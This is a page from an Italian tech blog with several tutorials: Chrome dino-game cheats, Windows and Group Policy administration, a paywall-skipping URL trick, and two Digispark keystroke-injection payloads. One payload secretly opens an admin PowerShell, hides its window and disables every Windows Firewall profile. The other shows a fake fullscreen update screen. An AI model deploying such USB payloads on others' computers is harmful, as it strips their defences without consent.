mercoledì 30 settembre 2020

Google Chome Easter Egg: Gioco del Dinosauro e relativi hack

Chi utilizza Google Chrome come browser sa bene che include una sorpresa (Easter Egg) che viene visualizzata quando non è disponibile una connessione ad Internet. In questi casi il browser visualizza un messaggio di errore accompagnato da un'icona ad 8 bit di un T-Rex. Premendo la barra spaziatrice si avvia un platform game a scorrimento continuo con protagonista il nostro dinosauro. Per accedere al gioco senza doversi disconnettere dalla rete basta digitare il seguente URL nella barra degli indirizzi:
chrome://dino
Il trucco funziona sia sulla versione desktop che su quella mobile del browser di Google.
Google Chrome, Easter Egg
FIG 1 - Google Chrome, Easter Egg


Hack del gioco del dinosauro
Vi piace vincere facile? Allora vediamo come barare al gioco del T-Rex.

Una volta avviato il gioco del dinosauro, cliccare, con il tasto destro del mouse, all'interno della finestra del browser e selezionare Ispeziona (o premere la combinazione di tasti CTRL+SHIFT+I).
Google Chrome, Ispeziona pagina web
FIG 2 - Google Chrome, Ispeziona pagina web

Selezionare Console.
Google Chrome, Console
FIG 3 - Google Chrome, Console


A questo punto non resta che digitare una delle seguenti istruzioni a seconda di ciò che vogliamo fare con il nostro dinosauro. Una volta digitata l'istruzione premere invio (nel caso a schermo fosse presente la scritta GAME OVER cliccare sull'apposito tasto per riavviare il gioco). Facendo un refresh della pagina la modifica che abbiamo effettuato verrà persa.

Per rendere invincibile il nostro dinosauro digitare
Runner.prototype.gameOver = function() { }
Google Chrome, Istruzione digitata in Console
FIG 4 - Google Chrome, Istruzione digitata in Console

Per ridurre la forza di gravità, saltare più in alto e rimanere in aria più a lungo digitare
Runner.instance_.tRex.config.GRAVITY = 0.1

Per aumentare la velocità (gli ostacoli vengono eliminati quasi completamente)
Runner.instance_.setSpeed(1000)

Per aumentare l'altezza del salto
Runner.instance_.tRex.setJumpVelocity(100)

Per bloccare lo scorrimento dello sfondo (corsa sul posto)
Runner.instance_.playingIntro = true

Per sbloccare lo scorrimento dello sfondo
Runner.instance_.playingIntro = false

Per impostare il punteggio da cui partire (ad es. 90000) digitare
Runner.instance_.distanceRan = 90000 / Runner.instance_.distanceMeter.config.COEFFICIENT



E' possibile utilizzare anche più istruzioni. Supponiamo di voler rendere il nostro dinosauro invincibile e voler, ad un certo punto del gioco, rimuovere l'invincibilità senza fare refresh della pagina e perdere il record. Le istruzioni da digitare sono le seguenti (dopo ciascuna istruzione è necessario premere invio):

var original = Runner.prototype.gameOver
Runner.prototype.gameOver = function() { }

La prima istruzione salva, all'interno della variabile original, l'impostazione originale che ci servirà in seguito per ripristinarla. Le seconda istruzione è quella che ci rende invincibili. Quando vogliamo rimuovere l'invincibilità basterà digitare la seguente istruzione seguita da invio
Runner.prototype.gameOver = original






domenica 27 settembre 2020

Digispark, Disattivare Windows Firewall

Il payload che mostrerò in questo articolo consente di disattivare il firewall di Windows.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.


Windows Firewall è composto da tre profili diversi (dominio, privato e pubblico) ciascuno con le proprie regole/impostazioni. 

Per visualizzare lo stato dei tre profili di Windows Firewall baste eseguire il seguente comando dal Prompt dei comandi
netsh advfirewall show allprofiles

L'output sarà analogo a quello mostrato in FIG 2 in cui tutti e tre profili sono attivi (ON). Dopo l'esecuzione del nostro payload lo stato dei tre profili sarà OFF.

Windows Firewall, Stato Profili
FIG 2 - Windows Firewall, Stato Profili

Per disattivare tutti i profili di Windows Firewall andremo ad eseguire il seguente comando con privilegi elevati
netsh advfirewall set allprofiles state off  

Per la predisposizione dell'ambiente di sviluppo e installazione dei driver della scheda Digispark è possibile fare riferimento all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente.

#include "KeyboardIT.h"
void setup() {
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("mode con:cols=14 lines=1 ");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  DigiKeyboard.delay(500);    
  DigiKeyboard.print("netsh advfirewall set allprofiles state off");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("Exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  for(;;){ /*empty*/ }
}

Con l'istruzione
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs")
viene avviata una sessione PowerShell come amministratore. Per evitare che chi è seduto dinanzi al PC veda il comando digitato, viene ridotta la dimensione della finestra con l'istruzione
DigiKeyboard.print("mode con:cols=14 lines=1 ");
Successivamente vengono disabilitati tutti i profili di Windows Firewall con 
DigiKeyboard.print("netsh advfirewall set allprofiles state off");


Per caricare il payload sulla scheda Digispark:
  • Scaricare il file Digispark_ Turn_Off_Windows_Firewall.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_ Turn_Off_Windows_Firewall.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.

Digispark, Disattiva profili di Windows Firewall
FIG 3 - Digispark, Disattiva profili di Windows Firewall


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà eseguita la disattivazione di tutti i profili di Windows Firewall.



lunedì 21 settembre 2020

Windows 10: Aprire Esplora file su Questo PC

Avviando Esplora file in Windows 10, per default, viene aperta la cartella Accesso rapido che visualizza le ultime cartelle/file utilizzati. Qualcuno può trovare più utile che Esplora file visualizzasse direttamente la cartella Questo PC per navigare all'interno dei dispositivi e delle cartelle presenti sul PC. Per modificare l'impostazione di Esplora file è possibile agire sia tramite GUI che tramite registro di sistema.

Metodo 1: Modificare la cartella di avvio di Esplora file tramite GUI
  • Avviare Esplora file cliccando sull'apposita icona presente nella barra delle applicazioni  o tramite la combinazione di tasti WIN+E;
  • Nella scheda Visualizza cliccare sul pulsante Opzioni (o in alternativa cliccare sul menu File e selezionare Modifica opzioni cartelle e ricerca);
    Windows 10 - Esplora file
    FIG 1 - Windows 10, Esplora file

  • Nella casella Apri Esplora file per selezionare Questo PC quindi cliccare sul pulsante OK per applicare la modifica.

    Esplora file, Opzioni cartella
    FIG 2 - Esplora file, Opzioni cartella



Metodo 2: Modificare la cartella di avvio di Esplora file tramite registro di sistema
  • Premere la combinazione di tasti WIN+R per aprire la finestra di dialogo Esegui e digitare regedit seguito da invio per avviare l'editor del registro di sistema;
  • Posizionarsi su
    Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    (in alternativa copiare/incollare il percorso all'interno della barra di navigazione di Regedit);
  • Cliccare due volte sul valore DWORD nominato LaunchTo e nel campo Dati valore digitare 1 per aprire Esplora file su Questo PC2 per aprirlo su Accesso rapido (default) o 3 per aprirlo sulla cartella Download quindi cliccare su OK per applicare la modifica. Non è necessario riavviare il sistema.

    Regedit - LaunchTo
    FIG 3 - Regedit, LaunchTo

Per chi non vuole modificare manualmente il registro di sistema può scaricare i  file .REG dal seguente link 




venerdì 18 settembre 2020

PowerShell: Visualizzare informazioni di un oggetto criteri di gruppo (GPO)

Tramite PowerShell è possibile visualizzare le proprietà di tutti o di un particolare oggetto criterio di gruppo tramite l'utilizzo del cmdlet Get-GPO. Per visualizzare le proprietà di un particolare GPO è possibile ricercarlo per nome (tramite il parametro -Name) o tramite il Globally Unique Identifier (tramite il parametro -GUID)
Ad es.
Get-GPO -Name "GPO_Installazione_Office365_64bit"
visualizza le proprietà dell'oggetto criterio di gruppo con nome GPO_Office

Get-GPO -Guid a06c6f81-f52b-4911-9d2c-d462023d24de -Domain "mycompany.local"
visualizza le proprietà del criterio di gruppo avente il GUID specificato e presente all'interno del dominio mycompany.local
Get-GPO
FIG 1 - Get-GPO

Get-GPO -All -Domain "mycompany.local"
visualizza le proprietà di tutti gli oggetti criterio di gruppo presenti all'interno del dominio
Visualizza informazioni su tutti gli oggetti criteri di gruppo
FIG 2 - Visualizza informazioni su tutti gli oggetti criteri di gruppo

Per visualizzare maggiori informazioni su un oggetto criteri di gruppo è possibile generare un report dettagliato tramite il cmdlet Get-GPOReport
Ad es.
Get-GPO -Name "GPO_Installazione_Office365_64bit" | Get-GPOReport -ReportType HTML -Path c:\temp\report.html
genera un report dettagliato in formato html dell'oggetto criteri di gruppo specificato.
Report GPO
FIG 3 - Report GPO







martedì 15 settembre 2020

Telegram: Accedere ai canali senza disporre di un account

I canali sono diventati una delle funzionalità principali di Telegram: si tratta di uno strumento utile per diffondere messaggi ad un ampio pubblico e consentono un numero illimitato di membri. 

Telegram
FIG 1 - Telegram

Su Telegram ci sono canali molto interessanti che trattano un'ampia gamma di argomenti. Per visualizzare un canale Telegram senza essere registrati al servizio (e quindi senza disporre di un account) basta utilizzare un qualsiasi browser e modificare l'indirizzo del canale aggiungendo /s dopo https://t.me

Ad esempio:

Per visualizzare il mio canale Telegram https://t.me/freelearningit basta modificare l'indirizzo in https://t.me/s/freelearningit e aprire quest'ultimo in un qualsiasi browser.

Accesso al canale Telegram da browser
FIG 2 - Accesso al canale Telegram da browser



domenica 13 settembre 2020

Bloccare pubblicità e paywall sui siti web senza tool di terze parti

Per bloccare la pubblicità visualizzata durante la navigazione sul Web generalmente si utilizzano strumenti di terze parti (chiamati Ad-blocker) come uBlock Origin o AdBlock. Quando non è possibile utilizzare tali tool si può tentare con un semplice trucchetto: aggiungere un punto (.) alla fine del nome del dominio del sito in cui si intende bloccare la pubblicità. Ad esempio, per la visualizzazione di un video di Youtube come https://www.youtube.com/watch?v=f8OHybVhQwc senza il videomessaggio pubblicitario, bisognerà modificare l'indirizzo in https://www.youtube.com./watch?v=f8OHybVhQwc (da notare il punto dopo youtube.com). 

Il domino scritto con il punto finale è un Fully Qualified Domain Name (abbreviato in FQDN, nome di dominio non ambiguo) che identifica la posizione assoluta di un nodo all'interno della gerarchia dell’albero DNS. Il codice sorgente di molte pagine contenenti pubblicità non funziona correttamente quando si utilizza tale formato nel nome del dominio e di conseguenza la pubblicità non viene mostrata. Il trucco funziona anche per evitare alcuni paywall (l'accesso a pagamento ai contenuti di un sito Internet) come quelli utilizzati sui siti di diverse testate giornalistiche come il New York Times. I risultati possono essere variabili a seconda del browser. Alcuni browser, come Internet Explorer e vecchie versioni di Edge, visualizzano un messaggio che segnala il sito come pericoloso in quanto alcuni certificati utilizzati per instaurare la connessione SSL non riconoscono la variante del dominio scritta in formato FQDN. In realtà la versione dell'indirizzo in formato FQDN non è più pericolosa di quella tradizionale. Il trucco non è efficace su tutte le pagine Web e gli sviluppatori di siti web stanno già provvedendo a porre rimedio a questa "anomalia" ma, in ogni caso, vale comunque la pena tentare soprattutto quando non è possibile modificare la configurazione del sistema o installare componenti di terze parti.




venerdì 11 settembre 2020

PowerShell: Criteri del registro di sistema

Per impostare i valori del registro di sistema che non sono coperti dalle impostazioni dei criteri di gruppo è possibile utilizzare il cmdlet Set-GPRegistryValue. Spesso questo è l'unico modo per configurare le impostazioni del registro di sistema relativamente ad applicazioni di terze parti che non mettono a disposizione il file ADMX (Administrative Templates) per la gestione tramite criteri di gruppo.

Il seguente comando imposta, per l'utente corrente, l'attivazione dello screensaver dopo 300 secondi di inattività. Il criterio di registro di sistema viene inserito all'interno dell'oggetto criteri di gruppo specificto (GPO_Blocca_Pannello_di_Controllo).
Set-GPRegistryValue -Name "GPO_Blocca_Pannello_di_Controllo" -Key "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop" -ValueName ScreenSaveTimeOut -Type DWord -Value 300

Parametri:
-Name
Specifica il criterio di gruppo in cui configurare il criterio di registro di sistema.
- Key 
Permette di specificare la chiave di registro su cui operare. Nell'esempio è stato utilizzando HKCU (che sta per HKEY_CURRENT_USER) per l'utente corrente. Utilizzare HKLM (HKEY_LOCAL_MACHINE) per settare impostazioni per il computer.
- ValueName
Nome del valore da modificare/creare.
- Type 
Tipo del valore da modificare/creare.
- Value
Valore da assegnare


Per visualizzare le informazioni relative ad una chiave di registro configurata in un criterio di gruppo si può utilizzare il cmdlet Get-GPRegistryValue.
Get-GPRegistryValue -Name "GPO_Blocca_Pannello_di_Controllo" -Key "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop"

Criterio del registro di sistema
FIG 1 - Criterio del registro di sistema

Per rimuovere le impostazioni di una chiave di registro all'interno di un oggetto criteri di gruppo si procede con il cmdlet Remove-GPRegistryValue.
Remove-GPRegistryValue -Name "GPO_Blocca_Pannello_di_Controllo" -Key "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop" -ValueName ScreenSaveTimeOut

Rimuovere Criterio del registro di sistema
FIG 2 - Rimuovere Criterio del registro di sistema









mercoledì 9 settembre 2020

PowerShell: Creare un nuovo oggetto Criteri di gruppo (GPO)

Oltre alla console Gestione Criteri di gruppo (GPMC), Microsoft fornisce anche un set di cmdelt PowerShell per la creazione e gestione dei criteri di gruppo. Per utilizzare tali cmdlet da un dispositivo è necessario che vi sia installato GPMC. Per verificare che il componente sia installato e visualizzare l'elenco dei relativi cmdlet disponibili, lanciare il seguente comando da PowerShell
Get-Command -Module GroupPolicy
PowerShell, Module GroupPolicy
FIG 1 - PowerShell, Module GroupPolicy

Per creare un nuovo oggetto criterio di gruppo è possibile utilizzare il cmdlet New-GPO. Il comando per creare un nuovo GPO sarà simile a
New-GPO -Name "GPO_Test" -Comment "Criterio di gruppo di test"
dove con il parametro -Name si assegna il nome al nuovo criterio e -Comment consente di specificare una descrizione.
Tale comando crea un oggetto criterio di gruppo "vuoto", senza alcuna impostazione. E' possibile creare un nuovo GPO prendendo come modello un oggetto criteri di gruppo starter tramite il parametro -StarterGPOName
Ad es. 
New-GPO -Name "Nuova_GPO" -StarterGPOName "GPO_Firefox"
crea un nuovo GPO con nome Nuova_GPO copiando le impostazioni dell'oggetto GPO_Firefox.
I criteri di gruppo Starter semplificano notevolmente il lavoro degli amministratori e forniscono impostazioni di base per uno specifico scenario. Supponiamo 
di dover garantire che il browser Firefox sia configurato correttamente sui computer dell'azienda. Si può creare un criterio di gruppo Starter che includa tutte le impostazioni di Firefox necessarie. Quando si andrà a creare un nuovo criterio di gruppo si può includere il criterio di gruppo Starter con le impostazioni di Firefox senza doverle reimpostare nel nuovo criterio.
PowerShell, New-GPO
FIG 2 - PowerShell, New-GPO

Per creare un collegamento ad un GPO esistente possiamo utilizzare il cmdlet New-GPLink indicando il nome dell'oggetto criteri di gruppo e l'unità organizzativa in cui crearlo.
Ad es.
New-GPLink -Name "Nuova_GPO"  -Target "OU=Utenti,OU=Direzione,DC=mycompany,DC=local"

Possiamo creare contemporaneamente un oggetto Criteri di gruppo all'interno del dominio e  il relativo collegamento in una OU specificata utilizzando il piping dei cmdlet New-GPO e New-GPLink.
Ad es.
New-GPO -Name "Nuova_GPO" | New-GPLink -Target "OU=Utenti,OU=Direzione,DC=mycompany,DC=local"
PowerShell New-GPO e New-GPLink
FIG 3 - PowerShell, New-GPO e New-GPLink

Per rimuovere il collegamento ad un oggetto criterio di gruppo all'interno di una OU viene utilizzato il cmdlet Remove-GPLink
Ad es.
Remove-GPLink -Name "Nuova_GPO" -Target "OU=Utenti,OU=Direzione,DC=mycompany,DC=local"

PowerShell, Remove-GPLink
FIG 4 - PowerShell, Remove-GPLink

Per rimuovere un criterio di gruppo si può utilizzare Remove-GPO
Ad es.
Remove-GPO -Name "Nuova_GPO"
Rimuove la GPO nominata Nuova_GPO e tutti i collegamenti. Per preservare i collegamenti al GPO è necessario specificare il parametro - KeepLinks.

Remove-GPO -Guid 50cc3e45-0b14-46dd-8b4d-afa012bc331c -Domain "mycompany.local" -KeepLinks
Il comando esposto sopra elimina l'oggetto criteri di gruppo con GUID specificato ma preservando i collegamenti all'oggetto.






lunedì 7 settembre 2020

Digispark, Visualizzare una finta schermata di aggiornamento del sistema operativo

Il payload oggetto di questo articolo relativo alle Rubber Ducky realizzate con schede Digispark non fa altro che visualizzare una finta schermata di aggiornamento del sistema operativo. Sul sito https://fakeupdate.net/ sono presenti schermate di aggiornamento di diversi sistemi operativi. In questo caso, dovendo simulare una schermata di aggiornamento relativa a Windows 10, la scelta è ricaduta su https://fakeupdate.net/win10ue/.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Vediamo in dettaglio il payload e come caricarlo sulla scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente:

#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}

L'istruzione principale è 
DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
che apre in Internet Explorer la pagina https://fakeupdate.net/win10ue/ a schermo intero. Per uscire dalla modalità schermo intero basta premere il tasto F11 o premere la combinazione ALT+F4 per chiudere la finestra.

Per caricare il payload sulla scheda Digispark i passaggi da seguire sono del tutto analoghi a quelli già visti negli articoli precedenti:
  • Scaricare il file Digispark_Fake_Update.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Fake_Update.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, payload Fake Update
FIG 2 - Digispark, payload Fake Update


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà aperta una sessione di Internet Explorer a schermo intero che mostra la finta e interminabile schermata di aggiornamento.






mercoledì 2 settembre 2020

PowerShell: Individuare GPO che non sono collegate ad alcuna unità organizzativa

Negli articolo relativi a Windows Server 2019 abbiamo visto come i Criteri di gruppo (GPO) sono utili per applicare restrizioni/impostazioni su un numero elevato di utenti e dispositivi all'interno di un dominio. Con il passare del tempo e della complessità del dominio, ci si può ritrovare con centinaia o addirittura migliaia di Criteri di gruppo da gestire e questo può rappresentare un problema soprattutto se si vuole mantenere in ordine Active Directory ed evitare l'accumularsi di GPO che non vengono più utilizzate. Anche tramite l'utilizzo di Gestione Criteri di gruppo, individuare i criteri di gruppo non più utilizzati e non dotati di alcun collegamento abilitato non è un operazione semplice. In questi casi ci viene in aiuto PowerShell. Tramite il seguente script PowerShell otteniamo l'elenco dei Criteri di gruppo non collegati:

$criteri = Get-Gpo -All
foreach ($gpo in $criteri) {
    [xml]$report = Get-GPOReport -Guid $gpo.ID -ReportType xml
    if (-not $report.GPO.LinksTo) {
        $gpo.DisplayName
    }
}

La prima operazione che effettua lo script è quella di raccogliere tutti i criteri di gruppo attraverso l'utilizzo del cmdlet Get-GPO con il parametro -All e assegnarli alla varibile $criteri. A questo punto è possibile analizzare ciascun criterio di gruppo contenuto in $criteri tramite il ciclo foreach. Gli oggetti forniti in output dal cmdlet Get-GPO non dispongono di alcuna proprietà che ci consenta di determinare se il criterio di gruppo è collegato o meno pertanto, all'interno del ciclo foreach, siamo costretti ad utilizzare allo scopo il cmdlet Get-GPOReport. Al cmdlet, tramite il parametro -Guid, viene passato l'ID del criterio di gruppo che si sta verificando. Il parametro -ReportType, invece, ci consente di specificare il formato del report. Il formato XML ci agevolerà nel recupero delle proprietà dalla variabile $report. Nell'istruzione IF successiva verifichiamo se la proprietà GPO.LinksTo è nulla; in questo caso il criterio di gruppo che stiamo analizzando non dispone di alcun collegamento abilitato quindi visualizziamo in output il suo nome (DisplayName).

Dal seguente link è possibile scaricare il file PS1 contenente lo script PowerShell


GPO non collegata
FIG 1 - Elenca GPO non collegate